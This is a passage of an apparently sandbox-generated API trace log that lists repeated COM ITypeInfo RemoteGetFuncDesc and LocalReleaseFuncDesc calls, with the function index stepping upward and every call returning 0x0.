pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x14, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x15, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x16, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x17, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x18, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x19, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1a, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1b, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1c, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1d, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1e, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x1f, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x20, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.495] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.495] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x21, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x22, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x23, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x24, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x25, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x26, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x27, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x28, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x29, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2a, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2b, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2c, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2d, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2e, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x2f, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x30, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x31, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x32, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x33, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x34, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x35, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x36, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x37, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.496] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x38, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.496] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x39, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3a, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3b, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3c, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3d, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3e, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x3f, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x40, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x41, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x42, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x43, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x44, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x45, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x46, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x47, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x48, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x49, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4a, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4b, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4c, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4d, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4e, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4f, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x50, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.497] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.497] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x51, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x52, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x53, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x54, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x55, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x56, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x57, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x58, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x59, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5a, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5b, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5c, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5d, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5e, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5f, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x60, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x61, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x62, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x63, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x64, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x65, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x66, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x67, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x68, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.498] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.498] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x69, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6a, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6b, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6c, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6d, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6e, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6f, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x70, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x71, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x72, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x73, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x74, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x75, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x76, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x77, ppFuncDesc=0x126af8, pDummy=0xa0 | out: ppFuncDesc=0x126af8, pDummy=0xa0) returned 0x0 [0053.499] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.499] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x78, ppFuncDesc=0x126af8, pDummy=0xa0 | out: 